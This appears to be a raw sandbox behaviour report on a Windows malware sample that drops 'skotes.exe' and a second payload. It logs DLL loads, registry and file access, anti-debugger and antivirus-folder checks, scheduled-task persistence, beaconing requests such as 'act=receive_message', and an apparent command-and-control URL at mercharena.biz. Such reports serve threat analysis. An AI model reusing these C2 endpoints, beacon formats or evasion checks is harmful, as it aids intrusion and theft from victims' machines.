loaded module "SHELL32.DLL" at base 76ca0000 "skotes.exe" loaded module "OLE32.DLL" at base 760d0000 "skotes.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75e20000 "skotes.exe" loaded module "WININET.DLL" at base 76820000 "skotes.exe" loaded module "WS2_32.DLL" at base 75dd0000 "skotes.exe" loaded module "SSPICLI.DLL" at base 75670000 "skotes.exe" loaded module "RPCRT4.DLL" at base 756e0000 "skotes.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76760000 "skotes.exe" loaded module "SECUR32.DLL" at base 73ad0000 "skotes.exe" loaded module "PROFAPI.DLL" at base 76810000 "skotes.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 73ac0000 "skotes.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 77da0000 "skotes.exe" loaded module "WINHTTP.DLL" at base 742f0000 "skotes.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76760000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73c10000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 73ab0000 "skotes.exe" loaded module "IPHLPAPI.DLL" at base 74df0000 "skotes.exe" loaded module "URLMON.DLL" at base 759f0000 "skotes.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 73aa0000 "skotes.exe" loaded module "DNSAPI.DLL" at base 74eb0000 "skotes.exe" loaded module "CRYPTBASE.DLL" at base 75660000 "skotes.exe" loaded module "CLBCATQ.DLL" at base 75be0000 "skotes.exe" loaded module "DHCPCSVC6.DLL" at base 73c70000 "skotes.exe" loaded module "DHCPCSVC.DLL" at base 73c50000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 73c00000 "skotes.exe" loaded module "RASADHLP.DLL" at base 73a90000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 72970000 "skotes.exe" loaded module "CRYPTSP.DLL" at base 72950000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72910000 "skotes.exe" loaded module "OLEAUT32.DLL" at base 76ad0000 "skotes.exe" loaded module "RPCRTREMOTE.DLL" at base 73a70000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 72900000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 728c0000 "skotes.exe" loaded module "COMCTL32.DLL" at base 74bd0000 "skotes.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 76ad0000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75dd0000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 76820000 "skotes.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 0 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74b50000 "skotes.exe" loaded module "PROPSYS.DLL" at base 73f10000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73f10000 "skotes.exe" loaded module "NTMARTA.DLL" at base 73bd0000 "skotes.exe" loaded module "APPHELP.DLL" at base 75480000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 72890000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76ca0000 "skotes.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75e30000 "skotes.exe" loaded module "SETUPAPI.DLL" at base 76230000 "skotes.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 759f0000 "skotes.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75e10000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "5b5767e85f.exe" loaded module "NTDLL.DLL" at base 77dd0000 "5b5767e85f.exe" loaded module "WINMM.DLL" at base 74e30000 "5b5767e85f.exe" loaded module "NTDLL" at base 77dd0000 "5b5767e85f.exe" loaded module "KERNEL32.DLL" at base 75e30000 "5b5767e85f.exe" loaded module "SHELL32.DLL" at base 76ca0000 "5b5767e85f.exe" loaded module "USER32.DLL" at base 758c0000 "5b5767e85f.exe" loaded module "GDI32.DLL" at base 76780000 "5b5767e85f.exe" loaded module "OLE32.DLL" at base 760d0000 "5b5767e85f.exe" loaded module "OLEAUT32.DLL" at base 76ad0000 "5b5767e85f.exe" loaded module "CRYPT32.DLL" at base 75f40000 "5b5767e85f.exe" loaded module "ADVAPI32.DLL" at base 778f0000 "5b5767e85f.exe" loaded module "WS2_32.DLL" at base 75dd0000 "5b5767e85f.exe" loaded module "WINHTTP.DLL" at base 742f0000 "5b5767e85f.exe" loaded module "SHLWAPI.DLL" at base 75860000 "5b5767e85f.exe" loaded module "SSPICLI.DLL" at base 75670000 "5b5767e85f.exe" loaded module "CRYPTSP.DLL" at base 72950000 "5b5767e85f.exe" loaded module "RPCRT4.DLL" at base 756e0000 "5b5767e85f.exe" loaded module "CREDSSP.DLL" at base 73a80000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73c10000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 73c00000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 73ab0000 "5b5767e85f.exe" loaded module "DNSAPI.DLL" at base 74eb0000 "5b5767e85f.exe" loaded module "IPHLPAPI.DLL" at base 74df0000 "5b5767e85f.exe" loaded module "RASADHLP.DLL" at base 73a90000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 728c0000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72870000 "5b5767e85f.exe" loaded module "SECUR32.DLL" at base 73ad0000 "5b5767e85f.exe" loaded module "NCRYPT.DLL" at base 72830000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSWOW64\BCRYPTPRIMITIVES.DLL" at base 72970000 "5b5767e85f.exe" loaded module "USERENV.DLL" at base 779b0000 "5b5767e85f.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76760000 "5b5767e85f.exe" loaded module "GPAPI.DLL" at base 72810000 "5b5767e85f.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 76760000 "5b5767e85f.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 76760000 "5b5767e85f.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72910000 "5b5767e85f.exe" loaded module "CRYPTBASE.DLL" at base 7566000035:T4bd,"0a000b00cc19967298f54c0529e4b073@ADVAPI32.dll" "0d000e00bc19967298f54c0529e4b073@ADVAPI32.dll" "0f001000ac19967298f54c0529e4b073@ADVAPI32.dll" "0f0010008c060677a4fa4c05da38d276@DUI70.dll" "15001600c03eb47314f74c051854b273@ADVAPI32.dll" "0e000f00703fb47314f74c051854b273@ADVAPI32.dll" "0e000f00cc3fb47314f74c051854b273@ADVAPI32.dll" "11001200b447b47314f74c051854b273@ADVAPI32.dll" "110012004848b47314f74c051854b273@ADVAPI32.dll" "120013008c48b47314f74c051854b273@ADVAPI32.dll" "12001300e448b47314f74c051854b273@ADVAPI32.dll" "14001500386eb47314f74c051854b273@ADVAPI32.dll" "14001500506eb47314f74c051854b273@ADVAPI32.dll" "14001500686eb47314f74c051854b273@ADVAPI32.dll" "17001800806eb47314f74c051854b273@ADVAPI32.dll" "0d000e00986eb47314f74c051854b273@ADVAPI32.dll" "11001200a86eb47314f74c051854b273@ADVAPI32.dll" "11001200bc6eb47314f74c051854b273@ADVAPI32.dll" "0d000e004466b47314f74c051854b273@WININET.dll" "0d000e00b466b47314f74c051854b273@WININET.dll" "10001100ec66b47314f74c051854b273@WININET.dll" "100011009067b47314f74c051854b273@WININET.dll" "10001100006fb47314f74c051854b273@WININET.dll" "10001100146fb47314f74c051854b273@WININET.dll" "14001500286fb47314f74c051854b273@WININET.dll"36:T880,"ffa05200d7a741017eb476eef981b041.exe" touched "Search Gatherer Notification" (Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}") "ffa05200d7a741017eb476eef981b041.exe" touched "Scheduling Agent Service Class" (Path: "HKCU\WOW6432NODE\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}") "ffa05200d7a741017eb476eef981b041.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "ffa05200d7a741017eb476eef981b041.exe" touched "Progress Dialog" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{F8383852-FCD3-11D1-A6B9-006097DF5BD4}") "ffa05200d7a741017eb476eef981b041.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "ffa05200d7a741017eb476eef981b041.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "ffa05200d7a741017eb476eef981b041.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "ffa05200d7a741017eb476eef981b041.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "ffa05200d7a741017eb476eef981b041.exe" touched "Shell File System Folder" (Path: "HKCU\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "ffa05200d7a741017eb476eef981b041.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "ffa05200d7a741017eb476eef981b041.exe" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS") "skotes.exe" touched "NetworkListManager" (Path: "HKCU\WOW6432NODE\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "skotes.exe" touched "Network List Manager" (Path: "HKCU\WOW6432NODE\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "skotes.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "skotes.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}")37:T469,"ffa05200d7a741017eb476eef981b041.exe" has an writable section named "" "ffa05200d7a741017eb476eef981b041.exe" has an writable section named ".rsrc" "ffa05200d7a741017eb476eef981b041.exe" has an writable section named ".idata" "ffa05200d7a741017eb476eef981b041.exe" has an writable section named "anzaecnx" "ffa05200d7a741017eb476eef981b041.exe" has an writable section named "xfnyaduc" "ffa05200d7a741017eb476eef981b041.exe" has an writable section named ".taggant" "skotes.exe" has an writable section named "" "skotes.exe" has an writable section named ".rsrc" "skotes.exe" has an writable section named ".idata" "skotes.exe" has an writable section named "anzaecnx" "skotes.exe" has an writable section named "xfnyaduc" "skotes.exe" has an writable section named ".taggant" "5b5767e85f.exe" has an writable section named "" "5b5767e85f.exe" has an writable section named ".rsrc" "5b5767e85f.exe" has an writable section named ".idata" "5b5767e85f.exe" has an writable section named "ksoobzjo" "5b5767e85f.exe" has an writable section named "pbkbyrow" "5b5767e85f.exe" has an writable section named ".taggant"38:T504,"ffa05200d7a741017eb476eef981b041.exe" file has an entrypoint instructions - "jmp 0x8d500a," "skotes.exe" file has an entrypoint instructions - "jmp 0x8d500a," "5b5767e85f.exe" file has an entrypoint instructions - "jmp 0x8b900a,movups xmm4, xmmword ptr [eax],add byte ptr [eax], al,add byte ptr [eax], al,add cl, ch,add byte ptr [eax], ah,add byte ptr [eax], al,add byte ptr [esi], al,or al, byte ptr [eax],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], dh,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [esi], al,or al, byte ptr [eax],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"39:T5f4,Observed system executable string:"C:\Windows\SYSTEM32\wow64win.dll" [Source: 00000000-00000516.00000001.270435.00750000.00000004.mdmp] Observed system executable string:"C:\Windows\SYSTEM32\wow64.dll" [Source: 00000000-00000516.00000001.270435.00750000.00000004.mdmp] Observed system executable string:"C:\Windows\SYSTEM32\wow64cpu.dll" [Source: 00000000-00000516.00000001.270435.00750000.00000004.mdmp] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00000560-00000C28-3121240017] Observed system executable string:"%WINDIR%\system32\DUser.dll" [Source: 00000000-00000560-00000C28-3124979201] Observed system executable string:"%WINDIR%\system32\xmllite.dll" [Source: 00000000-00000560-00000C28-3125657326] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00000560-00000C28-3128354461] Observed system executable string:"%WINDIR%\syswow64\MSCTF.dll" [Source: 00000000-00000560-00000C28-3129086749] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00000560-00000C28-3129347931] Observed system executable string:"%WINDIR%\System32\shdocvw.dll" [Source: 00000000-00000560-00000C28-3130835696] Observed system executable string:"%WINDIR%\system32\IMM32.DLL" [Source: 00000000-00002756-00000C60-3134153807] Observed system executable string:"%WINDIR%\SysWOW64\bcryptprimitives.dll" [Source: 00000000-00000516-00000C28-3233655878]3a:T756,"ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\ROMANCE STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{E47F4F43-D863-11E7-9D8F-806E6F6E6963}\"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{E47F4F44-D863-11E7-9D8F-806E6F6E6963}\"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "")3b:T656,"ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")3c:T6d1,"ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SYSTEM32\wow64.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SYSTEM32\wow64win.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SYSTEM32\wow64cpu.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\system32\wow64log.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\sechost.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\FLTLIB.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\FLTLIB.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\IMM32.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\api-ms-win-core-synch-l1-2-0.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-1.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\api-ms-win-core-localization-l1-2-1.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "SICE" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "SIWVID" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "NTICE" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\winmm.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to touch file "C:\Windows\SysWOW64\winmm.dll"3d:T623,"ffa05200d7a741017eb476eef981b041.exe" touched file "C:\Windows\Tasks\skotes.job" "ffa05200d7a741017eb476eef981b041.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "ffa05200d7a741017eb476eef981b041.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "ffa05200d7a741017eb476eef981b041.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "skotes.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "skotes.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "skotes.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "skotes.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "skotes.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "skotes.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OX8EQCT0\random[1].exe" "skotes.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "skotes.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "skotes.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "skotes.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "skotes.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "skotes.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\OX8EQCT0\random[1].exe" "skotes.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"3e:T6b3,"ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Windows\system32\wow64log.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\FLTLIB.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-1.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-core-localization-l1-2-1.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\winmm.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\version.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Windows\SysWOW64\rpcss.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\MPR.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\DUI70.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\DUser.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\dwmapi.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\OLEACC.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\OLEACCRC.DLL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\CRYPTSP.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\RpcRtRemote.dll" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\apphelp.dll"3f:T736,"ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "SICE" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "SIWVID" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "NTICE" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\ffa05200d7a741017eb476eef981b041.exe.Local\" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Windows\Tasks\skotes.job" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\desktop.ini" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\FFA05200D7A741017EB476EEF981B041.EXE.LOCAL" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Windows\Tasks\SKOTES.JOB" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\ABC3BC1985" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\DESKTOP.INI" "ffa05200d7a741017eb476eef981b041.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe:ZONE.IDENTIFIER" "skotes.exe" trying to access non-existent file "SICE" "skotes.exe" trying to access non-existent file "SIWVID" "skotes.exe" trying to access non-existent file "NTICE" "skotes.exe" trying to access non-existent file "C:\ProgramData\AVAST Software" "skotes.exe" trying to access non-existent file "C:\ProgramData\Avira" "skotes.exe" trying to access non-existent file "C:\ProgramData\Kaspersky Lab"40:T493,"5b5767e85f.exe" called "WinHttpSendRequest" with parameters {"hRequest": "e34b50" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"} "5b5767e85f.exe" called "WinHttpSendRequest" with parameters {"hRequest": "e34a48" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"} "5b5767e85f.exe" called "WinHttpSendRequest" with parameters {"hRequest": "e37a70" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "5b5767e85f.exe" called "WinHttpSendRequest" with parameters {"hRequest": "e37a70" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=receive_message&ver=4.0&lid=qEFatZ--&j=" "dwOptionalLength": "43" "dwTotalLength": "43" "dwContext": "0"}41:T1734,Heuristic match: "{t.as" Heuristic match: "q.i{t.as" Heuristic match: "t9i.ie" Heuristic match: "4bt.hn" Heuristic match: "@-p1.re" Heuristic match: "mercharena.biz" Pattern match: "www.sysinternals.com" Pattern match: "https://www.cloudflare.com/learning/access-management/phishing-attack/" Heuristic match: "1y.aw" Heuristic match: "'3.hk" Heuristic match: "~=.yt" Heuristic match: "h%.ye" Heuristic match: "bc.ph" Heuristic match: "3n$*p.ly" Heuristic match: "ercharena.biz" Pattern match: "https://mercharena.biz/api" Heuristic match: "ntrust.net" Pattern match: "http://o.pki.goog/s/we1/yzq0%" Pattern match: "http://i.pki.goog/we1.crt0+" Pattern match: "http://c.pki.goog/we1/t0vke8labr8.crl0" Pattern match: "http://i.pki.goog/r4.crt0+" Pattern match: "http://c.pki.goog/r/r4.crl0" Pattern match: "http://i.pki.goog/gsr1.crt0-" Pattern match: "http://c.pki.goog/r/gsr1.crl0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "www.digicert.com1" Pattern match: "http://ocsp.digicert.com0" Pattern match: "crl3.digicert.com/digicertglobalrootca.crl07" Pattern match: "crl4.digicert.com/digicertglobalrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: 